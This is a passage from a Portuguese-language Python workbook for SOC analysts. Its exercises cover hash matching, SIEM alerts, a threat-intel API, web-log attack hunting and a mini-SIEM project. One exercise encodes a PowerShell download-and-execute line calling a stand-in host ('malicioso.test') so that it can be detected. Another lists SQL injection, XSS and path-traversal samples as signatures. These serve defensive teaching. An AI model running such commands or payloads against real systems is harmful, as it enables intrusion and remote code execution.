2. Calcule o hash de um deles e cole em um arquivo `hashes_maliciosos.txt` (um hash por linha), simulando uma lista de malware conhecido.
3. Faça um programa que percorre `amostras/`, calcula o SHA-256 de cada arquivo e avisa se ele estiver na lista de maliciosos.
4. Teste: altere uma letra do arquivo "malicioso" e rode de novo. O que aconteceu?

DICA: Leia a lista com `set(linha.strip() for linha in f)` para ignorar espaços e quebras de linha.

SAÍDA ESPERADA (exemplo)

```
[LIMPO]     amostras/relatorio.txt
[MALICIOSO] amostras/fatura.txt
            sha256: 2c26b46b68ffc68ff99b453c1d304134...
[LIMPO]     amostras/notas.txt
```

EXERCÍCIO 16

Alertas do SIEM em JSON

MÉDIO

CONCEITO SOC

O **SIEM** (Security Information and Event Management) é a ferramenta central do SOC: junta os logs de tudo (firewall, servidores, antivírus, e-mail), aplica regras e gera alertas. Exemplos: Splunk, Elastic, Wazuh, Microsoft Sentinel.

SIEMs e **EDRs** (antivírus modernos) exportam alertas no formato **JSON**, que é o "idioma" padrão para trocar dados entre sistemas.

CONCEITO PYTHON

`sorted(lista, key=...)` ordena usando um critério. `lambda a: a["id"]` é uma **função pequena sem nome**: recebe `a` e devolve `a["id"]`. `reverse=True` inverte a ordem.

BIBLIOTECA USADA

json (biblioteca padrão): converte JSON em dicionários e listas do Python, e vice-versa. `json.load(arquivo)` lê; `json.dump(dados, arquivo, indent=2, ensure_ascii=False)` salva (indent deixa bonito; ensure_ascii=False mantém os acentos).

EXEMPLO - digite e rode

```
import json

with open("dados/alertas.json", encoding="utf-8") as f:
    alertas = json.load(f)          # vira uma lista de dicionários

for a in alertas:
    print(a["id"], a["severidade"], a["regra"])
```

FORMATO DE DADOS/ALERTAS.JSON

```
[
  {"id": 1, "data": "2026-10-06 03:14:33", "regra": "Login após força bruta SSH",
   "severidade": "critica", "ip": "185.220.101.47", "host": "srv01"},
  {"id": 2, "data": "2026-10-06 04:02:58", "regra": "Força bruta SSH",
   "severidade": "alta", "ip": "45.33.32.156", "host": "srv01"},
  ...
]
```

SUA TAREFA

1. Leia `dados/alertas.json` e conte quantos alertas existem de cada severidade.
2. Filtre só os de severidade "alta" ou "critica" e salve em `prioritarios.json`.
3. Ordene os alertas do mais grave para o menos grave, usando um dicionário de pesos: `{"critica": 4, "alta": 3, "media": 2, "baixa": 1}`.

DICA: `sorted(alertas, key=lambda a: pesos[a["severidade"]], reverse=True)`

SAÍDA ESPERADA (exemplo)

```
Total: 8 alertas
critica: 2 | alta: 3 | media: 2 | baixa: 1
5 alertas prioritários salvos em prioritarios.json
[CRITICA] #1 Login após força bruta SSH - 185.220.101.47
```

EXERCÍCIO 17

Relatório de turno em CSV

MÉDIO

CONCEITO SOC

O SOC trabalha em **turnos**. No final de cada turno, o analista faz um **relatório de passagem** para o próximo: o que aconteceu, o que está aberto, o que foi resolvido.

Relatórios para gestores costumam ser em **CSV**, um arquivo de texto em formato de tabela (colunas separadas por vírgula) que abre direto no Excel ou no Google Sheets.

CONCEITO PYTHON

Você pode **reaproveitar** código de exercícios anteriores: aqui vamos usar a leitura de JSON do exercício 16 como ponto de partida.

BIBLIOTECA USADA

csv (biblioteca padrão): lê e escreve arquivos CSV sem você se preocupar com vírgulas e aspas. `csv.DictWriter(arquivo, fieldnames=[...])` escreve dicionários como linhas; `writeheader()` escreve o cabeçalho; `writerows(lista)` escreve todas as linhas.

`csv.DictReader(arquivo)` lê cada linha como um dicionário. Abra o arquivo com `newline=""` para evitar linhas em branco extras no Windows.

EXEMPLO - digite e rode

```
import csv

incidentes = [
    {"id": "INC-001", "tipo": "Phishing", "status": "Fechado"},
    {"id": "INC-002", "tipo": "Força bruta", "status": "Aberto"},
]
with open("relatorio.csv", "w", newline="", encoding="utf-8") as f:
    escritor = csv.DictWriter(f, fieldnames=["id", "tipo", "status"])
    escritor.writeheader()
    escritor.writerows(incidentes)
```

SUA TAREFA

1. Leia `dados/alertas.json` e gere `relatorio_turno.csv` com as colunas: id, data, regra, severidade, ip e status (todos com status "Em análise").
2. Abra o CSV no Excel/LibreOffice para conferir.
3. Depois, leia o CSV de volta com `DictReader` e mostre um resumo: total de alertas e quantos de cada severidade.

DICA: Antes de escrever, adicione a chave nova em cada alerta: `a["status"] = "Em análise"`.

SAÍDA ESPERADA (exemplo)

```
Relatório gerado: relatorio_turno.csv (8 linhas)
--- Resumo do turno ---
Total: 8
critica: 2 | alta: 3 | media: 2 | baixa: 1
```

EXERCÍCIO 18

PowerShell ofuscado (Base64)

DIFÍCIL

CONCEITO SOC

Atacantes **escondem comandos** para enganar o analista e o antivírus. Um truque clássico: `powershell -EncodedCommand <texto>`, em que o comando está codificado em **Base64**. No **MITRE ATT&CK** (catálogo das técnicas usadas por atacantes) isso é a técnica **T1027 - Obfuscated Files or Information**.

Base64 **não é criptografia**: é só um disfarce, e qualquer um decodifica. O **Sysmon** (ferramenta da Microsoft) registra cada processo criado no **Evento ID 1**, com a linha de comando completa.

CONCEITO PYTHON

`re.IGNORECASE` faz o regex ignorar maiúsculas/minúsculas. O `|` no regex significa "ou".

`except Exception:` captura qualquer erro (por exemplo, um Base64 corrompido).

BIBLIOTECA USADA

base64 (biblioteca padrão): codifica e decodifica Base64. Trabalha com **bytes**: `base64.b64decode(texto)` devolve bytes, que viram texto com `.decode(...)`.

Detalhe importante: o PowerShell usa a codificação **UTF-16LE**, então decodifique com `.decode("utf-16-le")`, não com utf-8.

EXEMPLO - digite e rode

```
import base64

def codificar(cmd):
    return base64.b64encode(cmd.encode("utf-16-le")).decode()

def decodificar(b64):
    return base64.b64decode(b64).decode("utf-16-le")

logs = [
    "powershell.exe -NoProfile Get-Process",
    "powershell.exe -enc " + codificar("Get-Date"),
    "powershell.exe -w hidden -EncodedCommand " + codificar(
        "IEX (New-Object Net.WebClient).DownloadString('http://malicioso.test/a.ps1')"),
]
```

SUA TAREFA

1. Use a lista `logs` acima como se fossem eventos do Sysmon.
2. Com regex, encontre o Base64 depois de `-enc`, `-e` ou `-EncodedCommand`: `r"-(?:encodedcommand|enc|e)\s+([A-Za-z0-9+/=]+)"`.
3. Decodifique e procure palavras perigosas: `IEX`, `Invoke-Expression`, `DownloadString`, `http`, `hidden`. Classifique cada comando como SUSPEITO ou MALICIOSO.
4. Trate o erro de um Base64 inválido sem travar o programa (teste adicionando um log quebrado).

DICA: `IEX` + `DownloadString` = baixar um script da internet e executá-lo na memória. É um padrão muito usado por malware.

SAÍDA ESPERADA (exemplo)

```
[SUSPEITO] Comando codificado: Get-Date
[MALICIOSO] Comando codificado:
   IEX (New-Object Net.WebClient).DownloadString('http://malicioso.test/a.ps1')
   Indicadores: IEX, DownloadString, http
```

EXERCÍCIO 19

Enriquecimento com Threat Intel (API)

DIFÍCIL

CONCEITO SOC

Enriquecimento é adicionar contexto a um IOC: esse IP já foi denunciado? De que país é? De qual provedor? Para isso o analista consulta serviços de **Threat Intelligence** como AbuseIPDB, VirusTotal e AlienVault OTX.

Uma **API** é uma "porta" para um programa conversar com outro pela internet. A **API key** é sua senha pessoal: **nunca** coloque no código nem suba para o GitHub.

CONCEITO PYTHON

`os.environ.get("NOME")` lê uma **variável de ambiente**, um jeito seguro de guardar a chave fora do código. No terminal Linux: `export ABUSEIPDB_KEY="sua_chave"`.

BIBLIOTECA USADA

requests (biblioteca **externa**, instale com `pip install requests`): faz requisições HTTP, ou seja, "acessa sites" pelo código. `requests.get(url, headers=..., params=..., timeout=10)`.

A resposta tem `status_code` (200 = OK, 401 = chave inválida, 429 = limite de consultas atingido) e `.json()` para ler os dados. **time** (padrão): `time.sleep(1)` pausa 1 segundo.

EXEMPLO - digite e rode

```
import os
import requests

API_KEY = os.environ.get("ABUSEIPDB_KEY")
url = "https://api.abuseipdb.com/api/v2/check"
headers = {"Key": API_KEY, "Accept": "application/json"}
params = {"ipAddress": "185.220.101.47", "maxAgeInDays": 90}

resp = requests.get(url, headers=headers, params=params, timeout=10)
if resp.status_code == 200:
    dados = resp.json()["data"]
    print(dados["abuseConfidenceScore"], dados["countryCode"], dados["isp"])
```

SUA TAREFA

1. Crie uma conta gratuita em abuseipdb.com e gere sua API key.
2. Crie a função `verificar_ip(ip)` que devolve um dicionário com score, país e provedor.
3. Pegue os IPs do Top 5 (exercício 13), **pule os privados** (exercício 10) e consulte cada um, com `time.sleep(1)` entre as consultas.
4. Classifique: score >= 75 "MALICIOSO", >= 25 "SUSPEITO", senão "LIMPO". Trate erros de conexão com `except requests.exceptions.RequestException`.

DICA: Sem chave? Para praticar, use `http://ip-api.com/json/8.8.8.8` (geolocalização gratuita, não precisa de cadastro).

SAÍDA ESPERADA (exemplo)

```
185.220.101.47  score 100  DE  MALICIOSO
45.33.32.156    score  37  US  SUSPEITO
(os valores reais mudam com o tempo)
```

EXERCÍCIO 20

Caçando ataques web no access.log

DIFÍCIL

CONCEITO SOC

Servidores web (Apache, Nginx) registram cada acesso no **access.log**. Ataques comuns (lista **OWASP Top 10**): **SQL Injection** (`' OR 1=1`, `UNION SELECT`) para roubar o banco de dados; **XSS** (`<script>`) para rodar código no navegador da vítima; **Path Traversal** (`../../etc/passwd`) para ler arquivos do servidor; e **scanners** como sqlmap e Nikto.

O **status code** mostra o resultado: 200 = deu certo, 404 = não encontrado, 500 = erro no servidor. Ataque com status **200** merece atenção: ele pode ter funcionado!

CONCEITO PYTHON

Regex com **grupos nomeados** `(?P<nome>...)` permite pegar cada parte da linha pelo nome: `m.group("ip")`. `m.groupdict()` devolve tudo como dicionário.

urllib.parse (padrão): `unquote(url)` decodifica a URL. Atacantes escrevem `%27` no lugar de `'` e `%3C` no lugar de `<` para fugir de filtros simples.

EXEMPLO - digite e rode

```
import re
from urllib.parse import unquote

PADRAO = re.compile(
    r'(?P<ip>\S+) \S+ \S+ \[(?P<data>[^\]]+)\] "(?P<metodo>\S+) (?P<url>\S+) [^"]*" '
    r'(?P<status>\d{3}) \S+ "[^"]*" "(?P<agente>[^"]*)"')

linha = ('185.220.101.47 - - [06/Oct/2026:10:15:32 +0000] "GET /produtos.php?id=1%27%20OR'
         '%201=1-- HTTP/1.1" 200 4096 "-" "sqlmap/1.7.2"')
m = PADRAO.search(linha)
print(m.group("ip"), m.group("status"))
print(unquote(m.group("url")))    # /produtos.php?id=1' OR 1=1--
```

SUA TAREFA

1. Crie um dicionário de assinaturas: `{"SQLi": ["' or", "union select", "--"], "XSS": ["<script", "onerror="], "Path Traversal": ["../"], "Scanner": ["sqlmap", "nikto"]}`.
2. Leia `dados/access.log`, decodifique cada URL, converta para minúsculas e teste as assinaturas (na URL e no User-Agent).
3. Para cada ataque, mostre IP, tipo, status e URL. Marque com [!] os que tiveram status 200.
4. No final, mostre um resumo de ataques por IP e por tipo.

DICA: Uma linha pode ter mais de um tipo de ataque (ex: SQLi feito pelo sqlmap). Guarde os tipos em uma lista.

SAÍDA ESPERADA (exemplo)

```
[!] 185.220.101.47 SQLi, Scanner     200 /produtos.php?id=1' OR 1=1--
    185.220.101.47 SQLi, Scanner     500 /produtos.php?id=1 UNION SELECT...
[!] 45.33.32.156   XSS               200 /busca?q=<script>alert(1)</script>
--- Resumo por tipo: SQLi 2 | XSS 1 | Path Traversal 2 | Scanner 5
```

EXERCÍCIO 21

Gerenciando incidentes (classes)

DIFÍCIL

CONCEITO SOC

O **NIST SP 800-61** define o ciclo de resposta a incidentes: **1. Preparação → 2. Detecção e Análise → 3. Contenção, Erradicação e Recuperação → 4. Pós-incidente** (lições aprendidas).

No dia a dia, cada incidente vira um **ticket** com status (Novo, Em análise, Contido, Resolvido) e uma **linha do tempo** de tudo que foi feito. Um alerta que não era ataque é fechado como **falso positivo**.

CONCEITO PYTHON

Uma **classe** é um molde, como a planta de uma casa. Um **objeto** é a casa construída a partir dela. Você pode criar vários objetos com a mesma classe.

`__init__` roda automaticamente quando o objeto é criado. `self` é o próprio objeto: `self.status` é o status **daquele** alerta. Funções dentro da classe se chamam **métodos**.

`raise ValueError("msg")` gera um erro de propósito, quando algo inválido acontece.

EXEMPLO - digite e rode

```
class Alerta:
    def __init__(self, id, regra, severidade, ip):
        self.id = id
        self.regra = regra
        self.severidade = severidade
        self.ip = ip
        self.status = "Novo"

    def mudar_status(self, novo):
        print(f"Alerta {self.id}: {self.status} -> {novo}")
        self.status = novo

a = Alerta(1, "Força bruta SSH", "alta", "185.220.101.47")
a.mudar_status("Em análise")
```

SUA TAREFA

1. Crie a classe `Incidente` com: id, titulo, status, lista de alertas e linha do tempo (lista de tuplas `(datetime.now(), texto)`).
2. Métodos: `adicionar_alerta(alerta)`, `registrar(texto)`, `mudar_status(novo)` e `fechar(motivo)`. Cada método deve registrar algo na linha do tempo.
3. `mudar_status` só aceita os status válidos; se não for, use `raise ValueError`.
4. Crie o método `resumo()` que mostra tudo, e simule um incidente completo.

DICA: O método especial `__str__(self)` define o que aparece quando você faz `print(objeto)`.

SAÍDA ESPERADA (exemplo)

```
=== INC-2026-001: Comprometimento do srv01 [Resolvido] ===
Alertas: 2 (#1 critica, #2 alta)
Linha do tempo:
  03:20 Incidente criado
  03:25 Status: Novo -> Em análise
  03:40 IP 185.220.101.47 bloqueado no firewall
  04:10 Fechado: senha do root trocada
```

EXERCÍCIO 22

Sua ferramenta de linha de comando

DIFÍCIL

CONCEITO SOC

Bons analistas **automatizam** tarefas repetitivas. Em vez de fazer a mesma análise toda semana, criam uma ferramenta que qualquer pessoa da equipe pode rodar no terminal.

Em SOCs maiores, essa automação vira **playbook** em uma plataforma **SOAR** (Security Orchestration, Automation and Response), mas tudo começa com scripts como este.

CONCEITO PYTHON

`if __name__ == "__main__":` significa: "só execute isto se o arquivo for rodado diretamente". Assim o arquivo também pode ser importado por outro programa sem rodar tudo sozinho.

`FileNotFoundError` é o erro que acontece quando o arquivo não existe. Trate com try/except e mostre uma mensagem amigável.

BIBLIOTECA USADA

argparse (biblioteca padrão): cria as opções de terminal da sua ferramenta, como em `python3 loghunter.py -f auth.log --top 5`. Também gera a ajuda (`-h`) automaticamente.

`add_argument("-f", "--arquivo", required=True)` cria uma opção; `type=int` converte para número; `default=5` define o valor padrão; `action="store_true"` cria uma opção liga/desliga.

EXEMPLO - digite e rode

```
import argparse

def main():
    parser = argparse.ArgumentParser(description="LogHunter - analisador de auth.log")
    parser.add_argument("-f", "--arquivo", required=True, help="caminho do log")
    parser.add_argument("--top", type=int, default=5, help="quantos IPs mostrar")
    parser.add_argument("--salvar", help="salva o resultado em um arquivo JSON")
    args = parser.parse_args()
    print(f"Analisando {args.arquivo}, top {args.top}")

if __name__ == "__main__":
    main()
```

SUA TAREFA

1. Crie `loghunter.py` reaproveitando suas funções: contar falhas/sucessos (ex. 11), Top IPs e usuários (ex. 13) e força bruta por janela de tempo (ex. 14).
2. Opções: `-f/--arquivo`, `--top`, `--janela` (segundos, padrão 60), `--min-falhas` (padrão 5) e `--salvar arquivo.json`.
3. Destaque os IPs que tiveram força bruta **seguida de login com sucesso**.
4. Teste `python3 loghunter.py -h` e também um arquivo que não existe.

DICA: As datas do auth.log não têm ano: use o formato `"%b %d %H:%M:%S"` (%b = mês abreviado, ex: Oct).

SAÍDA ESPERADA (exemplo)

```
$ python3 loghunter.py -f dados/auth.log --top 3
[*] Falhas: 21 | Sucessos: 4
[*] Top 3 IPs: 45.33.32.156 (7), 185.220.101.47 (6), 91.240.118.172 (4)
[!] Força bruta: 185.220.101.47, 45.33.32.156
[!!!] COMPROMETIDO: 185.220.101.47 logou como root após força bruta
```

EXERCÍCIO 23

Projeto final: seu Mini-SIEM

DIFÍCIL

CONCEITO SOC

Um SIEM funciona em etapas: **coleta** (lê os logs) → **normalização** (transforma logs diferentes em um formato único) → **correlação** (aplica as regras) → **alerta** → **resposta**.

Cada regra deve apontar a técnica do **MITRE ATT&CK**: **T1110** Brute Force, **T1078** Valid Accounts (login com senha válida roubada), **T1190** Exploit Public-Facing Application (ataque web), **T1059.001** PowerShell.

CONCEITO PYTHON

Projetos grandes são divididos em **módulos**: vários arquivos `.py`. Se você tem `regras.py`, outro arquivo usa com `from regras import detectar_forca_bruta`.

Normalizar = todas as funções de leitura devolvem dicionários com as **mesmas chaves**, assim as regras funcionam com qualquer log.

EXEMPLO - digite e rode

```
mini_siem/
├── main.py            # ponto de entrada (argparse)        -> ex. 22
├── parsers.py         # lê auth.log e access.log           -> ex. 11, 20
├── regras.py          # funções de detecção                -> ex. 14, 18, 20
├── enriquecimento.py  # ipaddress + API de reputação       -> ex. 10, 19
├── modelos.py         # classes Alerta e Incidente         -> ex. 21
└── relatorio.py       # gera alertas.json e relatorio.csv  -> ex. 16, 17

# Evento normalizado (toda função de parser devolve este formato):
{"timestamp": "2026-10-06 03:14:01", "fonte": "ssh", "ip": "185.220.101.47",
 "usuario": "root", "acao": "falha_login", "detalhe": "..."}
```

SUA TAREFA

1. Crie os parsers de `auth.log` e `access.log`, ambos devolvendo eventos normalizados.
2. Implemente 4 regras: **R1** força bruta SSH (T1110), **R2** login com sucesso após força bruta (T1078), **R3** ataque web (T1190) e **R4** PowerShell codificado (T1059.001).
3. Cada regra cria objetos `Alerta` com severidade e técnica ATT&CK. Enriqueça os IPs públicos.
4. Agrupe os alertas do mesmo IP em um `Incidente` e gere `alertas.json` + `relatorio.csv`.
5. Coloque o projeto no seu GitHub com um README explicando como usar. Isso vira portfólio!

DICA: Comece simples: faça funcionar com uma regra só e vá adicionando as outras. Teste cada módulo separadamente.

SAÍDA ESPERADA (exemplo)

```
$ python3 main.py --auth dados/auth.log --web dados/access.log
[+] 37 eventos normalizados (25 ssh, 12 web)
[CRITICA] R2 T1078  185.220.101.47 - login root após 6 falhas
[ALTA]    R1 T1110  45.33.32.156   - 7 falhas em 48s
[ALTA]    R3 T1190  185.220.101.47 - SQL Injection (status 200)
[+] 2 incidentes abertos | relatórios salvos em saida/
```

Glossário SOC

Alerta	Aviso gerado por uma regra quando um evento parece suspeito.
API	Interface para um programa conversar com outro pela internet.
C2	Command and Control: servidor do atacante que controla máquinas infectadas.
CVSS	Sistema de notas (0 a 10) para medir a gravidade de vulnerabilidades.
EDR	Antivírus moderno que monitora o comportamento dos computadores.
Evento	Qualquer coisa registrada por um sistema (login, processo, conexão).
Falso positivo	Alerta que parecia ataque, mas era atividade normal.
Força bruta	Tentar muitas senhas até acertar (MITRE T1110).
Hash	Impressão digital de um arquivo (MD5, SHA-1, SHA-256).
Incidente	Alerta confirmado como ataque ou violação de segurança.
IOC	Indicador de Comprometimento: IP, domínio, hash, URL ligados a um ataque.
Log	Registro de eventos de um sistema, como um diário.
MITRE ATT&CK	Catálogo público das táticas e técnicas usadas por atacantes.
NIST SP 800-61	Guia de referência para resposta a incidentes.
Phishing	E-mail ou site falso feito para roubar dados ou instalar malware.
SIEM	Ferramenta que centraliza logs, aplica regras e gera alertas (Splunk, Wazuh...).
SOAR	Plataforma que automatiza a resposta a alertas com playbooks.
SOC	Centro de Operações de Segurança: equipe que monitora e responde a ataques.
Sysmon	Ferramenta da Microsoft que registra processos, conexões e arquivos no Windows.
Threat Intel	Informações sobre ameaças: quem ataca, como, e quais IOCs usa.
Triagem	Classificar e priorizar alertas para decidir o que investigar primeiro.

PRÓXIMOS PASSOS

TryHackMe - trilha "SOC Level 1": laboratórios guiados no navegador.

LetsDefend e **CyberDefenders**: simulam o dia a dia de um analista com alertas reais.

Wazuh ou **Elastic**: instale um SIEM gratuito em casa e envie logs para ele.

Leia o site **attack.mitre.org** e tente mapear cada regra que você criar para uma técnica.